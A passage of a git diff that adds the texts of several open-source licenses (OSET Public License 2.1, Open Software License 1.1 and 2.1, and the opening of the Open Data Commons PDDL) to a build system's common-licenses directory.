+THIS LICENSE DEFINES THE RIGHTS OF USE, REPRODUCTION, DISTRIBUTION, MODIFICATION, AND REDISTRIBUTION OF CERTAIN COVERED SOFTWARE (AS DEFINED BELOW) ORIGINALLY RELEASED BY THE OPEN SOURCE ELECTION TECHNOLOGY FOUNDATION (FORMERLY “THE OSDV FOUNDATION”). ANYONE WHO USES, REPRODUCES, DISTRIBUTES, MODIFIES, OR REDISTRIBUTES THE COVERED SOFTWARE, OR ANY PART THEREOF, IS BY THAT ACTION, ACCEPTING IN FULL THE TERMS CONTAINED IN THIS AGREEMENT. IF YOU DO NOT AGREE TO SUCH TERMS, YOU ARE NOT PERMITTED TO USE THE COVERED SOFTWARE.
+
+This license was prepared based on the Mozilla Public License (“MPL”), version 2.0. For annotation of the differences between this license and MPL 2.0, please see the OSET Foundation web site at www.OSETFoundation.org/public-license.
+
+The text of the license begins here:
+
+1. Definitions
+
+ 1.1 “Contributor” means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software.
+
+ 1.2 “Contributor Version” means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor’s Contribution.
+
+ 1.3 “Contribution” means Covered Software of a particular Contributor.
+
+ 1.4 “Covered Software” means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof.
+
+ 1.5 “Incompatible With Secondary Licenses” means:
+ a. That the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or
+ b. that the Covered Software was made available under the terms of version 1.x or earlier of the License, but not also under the terms of a Secondary License.
+
+ 1.6 “Executable Form” means any form of the work other than Source Code Form.
+
+ 1.7 “Larger Work” means a work that combines Covered Software with other material, in a separate file (or files) that is not Covered Software.
+
+ 1.8 “License” means this document.
+
+ 1.9 “Licensable” means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License.
+
+ 1.10 “Modifications” means any of the following:
+ a. any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or
+ b. any new file in Source Code Form that contains any Covered Software.
+
+ 1.11 “Patent Claims” of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version.
+
+ 1.12 “Secondary License” means one of: the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses.
+
+ 1.13 “Source Code Form” means the form of the work preferred for making modifications.
+
+ 1.14 “You” (or “Your”) means an individual or a legal entity exercising rights under this License. For legal entities, “You” includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, “control” means: (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. License Grants and Conditions
+
+ 2.1 Grants Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license:
+ a. under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and
+ b. under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version.
+
+ 2.2 Effective Date
+ The licenses granted in Section 2.1 with respect to any Contribution become effective for each Contribution on the date the Contributor first distributes such Contribution.
+
+ 2.3 Limitations on Grant Scope
+ The licenses granted in this Section 2 are the only rights granted under this License. No additional rights or licenses will be implied from the distribution or licensing of Covered Software under this License. Notwithstanding Section 2.1(b) above, no patent license is granted by a Contributor:
+ a. for any code that a Contributor has removed from Covered Software; or
+ b. for infringements caused by: (i) Your and any other third party’s modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or
+ c. under Patent Claims infringed by Covered Software in the absence of its Contributions.
+ This License does not grant any rights in the trademarks, service marks, or logos of any Contributor (except as may be necessary to comply with the notice requirements in Section 3.4).
+
+ 2.4 Subsequent Licenses
+ No Contributor makes additional grants as a result of Your choice to distribute the Covered Software under a subsequent version of this License (see Section 10.2) or under the terms of a Secondary License (if permitted under the terms of Section 3.3).
+
+ 2.5 Representation
+ Each Contributor represents that the Contributor believes its Contributions are its original creation(s) or it has sufficient rights to grant the rights to its Contributions conveyed by this License.
+
+ 2.6 Fair Use
+ This License is not intended to limit any rights You have under applicable copyright doctrines of fair use, fair dealing, or other equivalents.
+
+ 2.7 Conditions
+ Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in Section 2.1.
+
+3. Responsibilities
+
+ 3.1 Distribution of Source Form
+ All distribution of Covered Software in Source Code Form, including any Modifications that You create or to which You contribute, must be under the terms of this License. You must inform recipients that the Source Code Form of the Covered Software is governed by the terms of this License, and how they can obtain a copy of this License. You must cause any of Your Modifications to carry prominent notices stating that You changed the files. You may not attempt to alter or restrict the recipients’ rights in the Source Code Form.
+
+ 3.2 Distribution of Executable Form
+ If You distribute Covered Software in Executable Form then:
+
+ a. such Covered Software must also be made available in Source Code Form, as described in Section 3.1, and You must inform recipients of the Executable Form how they can obtain a copy of such Source Code Form by reasonable means in a timely manner, at a charge no more than the cost of distribution to the recipient; and
+ b. You may distribute such Executable Form under the terms of this License, or sublicense it under different terms, provided that the license for the Executable Form does not attempt to limit or alter the recipients’ rights in the Source Code Form under this License.
+
+ 3.3 Distribution of a Larger Work
+ You may create and distribute a Larger Work under terms of Your choice, provided that You also comply with the requirements of this License for the Covered Software. If the Larger Work is a combination of Covered Software with a work governed by one or more Secondary Licenses, and the Covered Software is not Incompatible With Secondary Licenses, this License permits You to additionally distribute such Covered Software under the terms of such Secondary License(s), so that the recipient of the Larger Work may, at their option, further distribute the Covered Software under the terms of either this License or such Secondary License(s).
+
+ 3.4 Notices
+ You may not remove or alter the substance of any license notices (including copyright notices, patent notices, disclaimers of warranty, or limitations of liability) contained within the Source Code Form of the Covered Software, except that You may alter any license notices to the extent required to remedy known factual inaccuracies.
+
+ 3.5 Application of Additional Terms
+
+ 3.5.1 You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, You may do so only on Your own behalf, and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. You may include additional disclaimers of warranty and limitations of liability specific to any jurisdiction.
+
+ 3.5.2 You may place additional conditions upon the rights granted in this License to the extent necessary due to statute, judicial order, regulation (including without limitation state and federal procurement regulation), national security, or public interest. Any such additional conditions must be clearly described in the notice provisions required under Section 3.4. Any alteration of the terms of this License will apply to all copies of the Covered Software distributed by You or by any downstream recipients that receive the Covered Software from You.
+
+4. Inability to Comply Due to Statute or Regulation
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Software due to statute, judicial order, or regulation, then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the notices required under Section 3.4. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Termination
+
+ 5.1 Failure to Comply
+ The rights granted under this License will terminate automatically if You fail to comply with any of its terms. However, if You become compliant, then the rights granted under this License from a particular Contributor are reinstated (a) provisionally, unless and until such Contributor explicitly and finally terminates Your grants, and (b) on an ongoing basis, if such Contributor fails to notify You of the non-compliance by some reasonable means prior to 60-days after You have come back into compliance. Moreover, Your grants from a particular Contributor are reinstated on an ongoing basis if such Contributor notifies You of the non-compliance by some reasonable means, this is the first time You have received notice of non-compliance with this License from such Contributor, and You become compliant prior to 30-days after Your receipt of the notice.
+
+ 5.2 Patent Infringement Claims
 If You initiate litigation against any entity by asserting a patent infringement claim (excluding declaratory judgment actions, counter-claims, and cross-claims) alleging that a Contributor Version directly or indirectly infringes any patent, then the rights granted to You by any and all Contributors for the Covered Software under Section 2.1 of this License shall terminate.
+
+ 5.3 Additional Compliance Terms
+ Notwithstanding the foregoing in this Section 5, for purposes of this Section, if You breach Section 3.1 (Distribution of Source Form), Section 3.2 (Distribution of Executable Form), Section 3.3 (Distribution of a Larger Work), or Section 3.4 (Notices), then becoming compliant as described in Section 5.1 must also include, no later than 30 days after receipt by You of notice of such violation by a Contributor, making the Covered Software available in Source Code Form as required by this License on a publicly available computer network for a period of no less than three (3) years.
+
+ 5.4 Contributor Remedies
+ If You fail to comply with the terms of this License and do not thereafter become compliant in accordance with Section 5.1 and, if applicable, Section 5.3, then each Contributor reserves its right, in addition to any other rights it may have in law or in equity, to bring an action seeking injunctive relief, or damages for willful copyright or patent infringement (including without limitation damages for unjust enrichment, where available under law), for all actions in violation of rights that would otherwise have been granted under the terms of this License.
+
+ 5.5 End User License Agreements
+ In the event of termination under this Section 5, all end user license agreements (excluding distributors and resellers), which have been validly granted by You or Your distributors under this License prior to termination shall survive termination.
+
+6. Disclaimer of Warranty
+Covered Software is provided under this License on an “as is” basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the Covered Software is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire risk as to the quality and performance of the Covered Software is with You. Should any Covered Software prove defective in any respect, You (not any Contributor) assume the cost of any necessary servicing, repair, or correction. This disclaimer of warranty constitutes an essential part of this License. No use of any Covered Software is authorized under this License except under this disclaimer.
+
+7. Limitation of Liability
+Under no circumstances and under no legal theory, whether tort (including negligence), contract, or otherwise, shall any Contributor, or anyone who distributes Covered Software as permitted above, be liable to You for any direct, indirect, special, incidental, or consequential damages of any character including, without limitation, damages for lost profits, loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses, even if such party shall have been informed of the possibility of such damages. This limitation of liability shall not apply to liability for death or personal injury resulting from such party’s negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+8. Litigation
+Any litigation relating to this License may be brought only in the courts of a jurisdiction where the defendant maintains its principal place of business and such litigation shall be governed by laws of that jurisdiction, without reference to its conflict-of-law provisions. Nothing in this Section shall prevent a party’s ability to bring cross-claims or counter-claims.
+
+9. Government Terms
+
+ 9.1 Commercial Item
+ The Covered Software is a “commercial item,” as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of “commercial computer software” and “commercial computer software documentation,” as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Software with only those rights set forth herein.
+
+ 9.2 No Sovereign Immunity
+ The U.S. federal government and states that use or distribute Covered Software hereby waive their sovereign immunity with respect to enforcement of the provisions of this License.
+
+ 9.3 Choice of Law and Venue
+
+ 9.3.1 If You are a government of a state of the United States, or Your use of the Covered Software is pursuant to a procurement contract with such a state government, this License shall be governed by the law of such state, excluding its conflict-of-law provisions, and the adjudication of disputes relating to this License will be subject to the exclusive jurisdiction of the state and federal courts located in such state.
+ 9.3.2 If You are an agency of the United States federal government, or Your use of the Covered Software is pursuant to a procurement contract with such an agency, this License shall be governed by federal law for all purposes, and the adjudication of disputes relating to this License will be subject to the exclusive jurisdiction of the federal courts located in Washington, D.C.
+ 9.3.3 You may alter the terms of this Section 9.3 for this License as described in Section 3.5.2.
+
+ 9.4 Supremacy
+ This Section 9 is in lieu of, and supersedes, any other Federal Acquisition Regulation, Defense Federal Acquisition Regulation, or other clause or provision that addresses government rights in computer software under this License.
+
+10. Miscellaneous
+This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. Any law or regulation, which provides that the language of a contract shall be construed against the drafter, shall not be used to construe this License against a Contributor.
+
+11. Versions of the License
+
+ 11.1 New Versions The Open Source Election Technology Foundation (“OSET”) (formerly known as the Open Source Digital Voting Foundation) is the steward of this License. Except as provided in Section 11.3, no one other than the license steward has the right to modify or publish new versions of this License. Each version will be given a distinguishing version number.
+
+ 11.2 Effects of New Versions You may distribute the Covered Software under the terms of the version of the License under which You originally received the Covered Software, or under the terms of any subsequent version published by the license steward.
+
+ 11.3 Modified Versions If You create software not governed by this License, and You want to create a new license for such software, You may create and use a modified version of this License if You rename the license and remove any references to the name of the license steward (except to note that such modified license differs from this License).
+
+ 11.4 Distributing Source Code Form That is Incompatible With Secondary Licenses If You choose to distribute Source Code Form that is Incompatible With Secondary Licenses under the terms of this version of the License, the notice described in Exhibit B of this License must be attached.
+
+EXHIBIT A – Source Code Form License Notice
+
+This Source Code Form is subject to the terms of the OSET Public License, v.2.1 (“OSET-PL-2.1”). If a copy of the OPL was not distributed with this file, You can obtain one at: www.OSETFoundation.org/public-license.
+
+If it is not possible or desirable to put the Notice in a particular file, then You may include the Notice in a location (e.g., such as a LICENSE file in a relevant directory) where a recipient would be likely to look for such a notice. You may add additional accurate notices of copyright ownership.
+
+EXHIBIT B - “Incompatible With Secondary License” Notice
+
+This Source Code Form is “Incompatible With Secondary Licenses”, as defined by the OSET Public License, v.2.1.
diff --git a/meta/files/common-licenses/OSL-1.1 b/meta/files/common-licenses/OSL-1.1
new file mode 100644
index 0000000000..050f131fc2
--- /dev/null
+++ b/meta/files/common-licenses/OSL-1.1
@@ -0,0 +1,47 @@
+The Open Software License v. 1.1
+
+This Open Software License (the "License") applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following notice immediately following the copyright notice for the Original Work:
+
+ Licensed under the Open Software License version 1.1
+
+1) Grant of Copyright License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, non-sublicenseable license to do the following:
+
+ a) to reproduce the Original Work in copies;
+
+ b) to prepare derivative works ("Derivative Works") based upon the Original Work;
+
+ c) to distribute copies of the Original Work and Derivative Works to the public, with the proviso that copies of Original Work or Derivative Works that You distribute shall be licensed under the Open Software License;
+
+ d) to perform the Original Work publicly; and
+
+ e) to display the Original Work publicly.
+
+2) Grant of Patent License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, non-sublicenseable license, under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor ("Licensed Claims") to make, use, sell and offer for sale the Original Work. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, non-sublicenseable license under the Licensed Claims to make, use, sell and offer for sale Derivative Works.
+
+3) Grant of Source Code License. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to modify the Original Work. Licensor hereby agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work, and by publishing the address of that information repository in a notice immediately following the copyright notice that applies to the Original Work.
+
+4) Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor except as expressly stated herein. No patent license is granted to make, use, sell or offer to sell embodiments of any patent claims other than the Licensed Claims defined in Section 2. No right is granted to the trademarks of Licensor even if such marks are included in the Original Work. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any Original Work that Licensor otherwise would have a right to license.
+
+5) External Deployment. The term "External Deployment" means the use or distribution of the Original Work or Derivative Works in any way such that the Original Work or Derivative Works may be used by anyone other than You, whether the Original Work or Derivative Works are distributed to those persons or made available as an application intended for use over a computer network. As an express condition for the grants of license hereunder, You agree that any External Deployment by You of a Derivative Work shall be deemed a distribution and shall be licensed to all under the terms of this License, as prescribed in section 1(c) herein.
+
+6) Attribution Rights. You must retain, in the Source Code of any Derivative Works that You create, all copyright, patent or trademark notices from the Source Code of the Original Work, as well as any notices of licensing and any descriptive text identified therein as an "Attribution Notice." You must cause the Source Code for any Derivative Works that You create to carry a prominent Attribution Notice reasonably calculated to inform recipients that You have modified the Original Work.
+
+7) Warranty and Disclaimer of Warranty. Licensor warrants that the copyright in and to the Original Work is owned by the Licensor or that the Original Work is distributed by Licensor under a valid current license from the copyright owner. Except as expressly stated in the immediately proceeding sentence, the Original Work is provided under this License on an "AS IS" BASIS and WITHOUT WARRANTY, either express or implied, including, without limitation, the warranties of NON-INFRINGEMENT, MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential part of this License. No license to Original Work is granted hereunder except under this disclaimer.
+
+8) Limitation of Liability. Under no circumstances and under no legal theory, whether in tort (including negligence), contract, or otherwise, shall the Licensor be liable to any person for any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or the use of the Original Work including, without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses. This limitation of liability shall not apply to liability for death or personal injury resulting from Licensor's negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+9) Acceptance and Termination. If You distribute copies of the Original Work or a Derivative Work, You must make a reasonable effort under the circumstances to obtain the express and volitional assent of recipients to the terms of this License. Nothing else but this License (or another written agreement between Licensor and You) grants You permission to create Derivative Works based upon the Original Work or to exercise any of the rights granted in Sections 1 herein, and any attempt to do so except under the terms of this License (or another written agreement between Licensor and You) is expressly prohibited by U.S. copyright law, the equivalent laws of other countries, and by international treaty. Therefore, by exercising any of the rights granted to You in Sections 1 herein, You indicate Your acceptance of this License and all of its terms and conditions. This License shall terminate immediately and you may no longer exercise any of the rights granted to You by this License upon Your failure to honor the proviso in Section 1(c) herein.
+
+10) Mutual Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License if You file a lawsuit in any court alleging that any OSI Certified open source software that is licensed under any license containing this "Mutual Termination for Patent Action" clause infringes any patent claims that are essential to use that software.
+
+11) Jurisdiction, Venue and Governing Law. Any action or suit relating to this License may be brought only in the courts of a jurisdiction wherein the Licensor resides or in which Licensor conducts its primary business, and under the laws of that jurisdiction excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any use of the Original Work outside the scope of this License or after its termination shall be subject to the requirements and penalties of the U.S. Copyright Act, 17 U.S.C. å¤ 101 et seq., the equivalent laws of other countries, and international treaty. This section shall survive the termination of this License.
+
+12) Attorneys Fees. In any action to enforce the terms of this License or seeking damages relating thereto, the prevailing party shall be entitled to recover its costs and expenses, including, without limitation, reasonable attorneys' fees and costs incurred in connection with such action, including any appeal of such action. This section shall survive the termination of this License.
+
+13) Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+14) Definition of "You" in This License. "You" throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with you. For purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+15) Right to Use. You may use the Original Work in all ways not otherwise restricted or conditioned by this License or by law, and Licensor promises not to interfere with or be responsible for such uses by You.
+
+This license is Copyright (C) 2002 Lawrence E. Rosen. All rights reserved. Permission is hereby granted to copy and distribute this license without modification. This license may not be modified without the express written permission of its copyright owner.
diff --git a/meta/files/common-licenses/OSL-2.1 b/meta/files/common-licenses/OSL-2.1
new file mode 100644
index 0000000000..a2f08d176d
--- /dev/null
+++ b/meta/files/common-licenses/OSL-2.1
@@ -0,0 +1,47 @@
+The Open Software Licensev. 2.1
+
+This Open Software License (the "License") applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following notice immediately following the copyright notice for the Original Work:
+
+ Licensed under the Open Software License version 2.1
+
+1) Grant of Copyright License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, sublicenseable license to do the following:
+
+ a) to reproduce the Original Work in copies;
+
+ b) to prepare derivative works ("Derivative Works") based upon the Original Work;
+
+ c) to distribute copies of the Original Work and Derivative Works to the public, with the proviso that copies of Original Work or Derivative Works that You distribute shall be licensed under the Open Software License;
+
+ d) to perform the Original Work publicly; and
+
+ e) to display the Original Work publicly.
+
+2) Grant of Patent License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, sublicenseable license, under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor, to make, use, sell and offer for sale the Original Work and Derivative Works.
+
+3) Grant of Source Code License. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to modify the Original Work. Licensor hereby agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work, and by publishing the address of that information repository in a notice immediately following the copyright notice that applies to the Original Work.
+
+4) Exclusions From License Grant. Neither the names of Licensor, nor the names of any contributors to the Original Work, nor any of their trademarks or service marks, may be used to endorse or promote products derived from this Original Work without express prior written permission of the Licensor. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor except as expressly stated herein. No patent license is granted to make, use, sell or offer to sell embodiments of any patent claims other than the licensed claims defined in Section 2. No right is granted to the trademarks of Licensor even if such marks are included in the Original Work. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any Original Work that Licensor otherwise would have a right to license.
+
+5) External Deployment. The term "External Deployment" means the use or distribution of the Original Work or Derivative Works in any way such that the Original Work or Derivative Works may be used by anyone other than You, whether the Original Work or Derivative Works are distributed to those persons or made available as an application intended for use over a computer network. As an express condition for the grants of license hereunder, You agree that any External Deployment by You of a Derivative Work shall be deemed a distribution and shall be licensed to all under the terms of this License, as prescribed in section 1(c) herein.
+
+6) Attribution Rights. You must retain, in the Source Code of any Derivative Works that You create, all copyright, patent or trademark notices from the Source Code of the Original Work, as well as any notices of licensing and any descriptive text identified therein as an "Attribution Notice." You must cause the Source Code for any Derivative Works that You create to carry a prominent Attribution Notice reasonably calculated to inform recipients that You have modified the Original Work.
+
+7) Warranty of Provenance and Disclaimer of Warranty. Licensor warrants that the copyright in and to the Original Work and the patent rights granted herein by Licensor are owned by the Licensor or are sublicensed to You under the terms of this License with the permission of the contributor(s) of those copyrights and patent rights. Except as expressly stated in the immediately proceeding sentence, the Original Work is provided under this License on an "AS IS" BASIS and WITHOUT WARRANTY, either express or implied, including, without limitation, the warranties of NON-INFRINGEMENT, MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential part of this License. No license to Original Work is granted hereunder except under this disclaimer.
+
+8) Limitation of Liability. Under no circumstances and under no legal theory, whether in tort (including negligence), contract, or otherwise, shall the Licensor be liable to any person for any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or the use of the Original Work including, without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses. This limitation of liability shall not apply to liability for death or personal injury resulting from Licensor's negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+9) Acceptance and Termination. If You distribute copies of the Original Work or a Derivative Work, You must make a reasonable effort under the circumstances to obtain the express assent of recipients to the terms of this License. Nothing else but this License (or another written agreement between Licensor and You) grants You permission to create Derivative Works based upon the Original Work or to exercise any of the rights granted in Section 1 herein, and any attempt to do so except under the terms of this License (or another written agreement between Licensor and You) is expressly prohibited by U.S. copyright law, the equivalent laws of other countries, and by international treaty. Therefore, by exercising any of the rights granted to You in Section 1 herein, You indicate Your acceptance of this License and all of its terms and conditions. This License shall terminate immediately and you may no longer exercise any of the rights granted to You by this License upon Your failure to honor the proviso in Section 1(c) herein.
+
+10) Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License as of the date You commence an action, including a cross-claim or counterclaim, against Licensor or any licensee alleging that the Original Work infringes a patent. This termination provision shall not apply for an action alleging patent infringement by combinations of the Original Work with other software or hardware.
+
+11) Jurisdiction, Venue and Governing Law. Any action or suit relating to this License may be brought only in the courts of a jurisdiction wherein the Licensor resides or in which Licensor conducts its primary business, and under the laws of that jurisdiction excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any use of the Original Work outside the scope of this License or after its termination shall be subject to the requirements and penalties of the U.S. Copyright Act, 17 U.S.C. § 101 et seq., the equivalent laws of other countries, and international treaty. This section shall survive the termination of this License.
+
+12) Attorneys Fees. In any action to enforce the terms of this License or seeking damages relating thereto, the prevailing party shall be entitled to recover its costs and expenses, including, without limitation, reasonable attorneys' fees and costs incurred in connection with such action, including any appeal of such action. This section shall survive the termination of this License.
+
+13) Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+14) Definition of "You" in This License. "You" throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with you. For purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+15) Right to Use. You may use the Original Work in all ways not otherwise restricted or conditioned by this License or by law, and Licensor promises not to interfere with or be responsible for such uses by You.
+
+This license is Copyright (C) 2003-2004 Lawrence E. Rosen. All rights reserved. Permission is hereby granted to copy and distribute this license without modification. This license may not be modified without the express written permission of its copyright owner.
diff --git a/meta/files/common-licenses/PDDL-1.0 b/meta/files/common-licenses/PDDL-1.0
new file mode 100644
index 0000000000..6a830d7df2
--- /dev/null
+++ b/meta/files/common-licenses/PDDL-1.0
@@ -0,0 +1,136 @@
+Open Data Commons Public Domain Dedication & License (PDDL)
+
+Preamble
+The Open Data Commons - Public Domain Dedication & Licence is a document intended to allow you to freely share, modify, and use this work for any purpose and without any restrictions. This licence is intended for use on databases or their contents ("data"), either together or individually.
+
+Many databases are covered by copyright. Some jurisdictions, mainly in Europe, have specific special rights that cover databases called the "sui generis" database right. Both of these sets of rights, as well as other legal rights used to protect databases and data, can create uncertainty or practical difficulty for those wishing to share databases and their underlying data but retain a limited amount of rights under a "some rights reserved" approach to licensing as outlined in the Science Commons Protocol for Implementing Open Access Data. As a result, this waiver and licence tries to the fullest extent possible to eliminate or fully license any rights that cover this database and data. Any Community Norms or similar statements of use of the database or data do not form a part of this document, and do not act as a contract for access or other terms of use for the database or data.
+
+The position of the recipient of the work
+
+Because this document places the database and its contents in or as close as possible within the public domain, there are no restrictions or requirements placed on the recipient by this document. Recipients may use this work commercially, use technical protection measures, combine this data or database with other databases or data, and share their changes and additions or keep them secret. It is not a requirement that recipients provide further users with a copy of this licence or attribute the original creator of the data or database as a source. The goal is to eliminate restrictions held by the original creator of the data and database on the use of it by others.
+
+The position of the dedicator of the work
+
+Copyright law, as with most other law under the banner of "intellectual property", is inherently national law. This means that there exists several differences in how copyright and other IP rights can be relinquished, waived or licensed in the many legal jurisdictions of the world. This is despite much harmonisation of minimum levels of protection. The internet and other communication technologies span these many disparate legal jurisdictions and thus pose special difficulties for a document relinquishing and waiving intellectual property rights, including copyright and database rights, for use by the global community. Because of this feature of intellectual property law, this document first relinquishes the rights and waives the relevant rights and claims. It then goes on to license these same rights for jurisdictions or areas of law that may make it difficult to relinquish or waive rights or claims.
+
+The purpose of this document is to enable rightsholders to place their work into the public domain. Unlike licences for free and open source software, free cultural works, or open content licences, rightsholders will not be able to "dual license" their work by releasing the same work under different licences. This is because they have allowed anyone to use the work in whatever way they choose. Rightsholders therefore can’t re-license it under copyright or database rights on different terms because they have nothing left to license. Doing so creates truly accessible data to build rich applications and advance the progress of science and the arts.
+
+This document can cover either or both of the database and its contents (the data). Because databases can have a wide variety of content - not just factual data - rightsholders should use the Open Data Commons - Public Domain Dedication & Licence for an entire database and its contents only if everything can be placed under the terms of this document. Because even factual data can sometimes have intellectual property rights, rightsholders should use this licence to cover both the database and its factual data when making material available under this document; even if it is likely that the data would not be covered by copyright or database rights.
+
+Rightsholders can also use this document to cover any copyright or database rights claims over only a database, and leave the contents to be covered by other licences or documents. They can do this because this document refers to the "Work", which can be either - or both - the database and its contents. As a result, rightsholders need to clearly state what they are dedicating under this document when they dedicate it.
+
+Just like any licence or other document dealing with intellectual property, rightsholders should be aware that one can only license what one owns. Please ensure that the rights have been cleared to make this material available under this document.
+
+This document permanently and irrevocably makes the Work available to the public for any use of any kind, and it should not be used unless the rightsholder is prepared for this to happen.
+
+Part I: Introduction
+
+The Rightsholder (the Person holding rights or claims over the Work) agrees as follows:
+
+1.0 Definitions of Capitalised Words
+
+"Copyright" - Includes rights under copyright and under neighbouring rights and similarly related sets of rights under the law of the relevant jurisdiction under Section 6.4.
+
+"Data" - The contents of the Database, which includes the information, independent works, or other material collected into the Database offered under the terms of this Document.
+
+"Database" - A collection of Data arranged in a systematic or methodical way and individually accessible by electronic or other means offered under the terms of this Document.
+
+"Database Right" - Means rights over Data resulting from the Chapter III ("sui generis") rights in the Database Directive (Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases) and any future updates as well as any similar rights available in the relevant jurisdiction under Section 6.4.
+
+"Document" - means this relinquishment and waiver of rights and claims and back up licence agreement.
+
+"Person" - Means a natural or legal person or a body of persons corporate or incorporate.
+
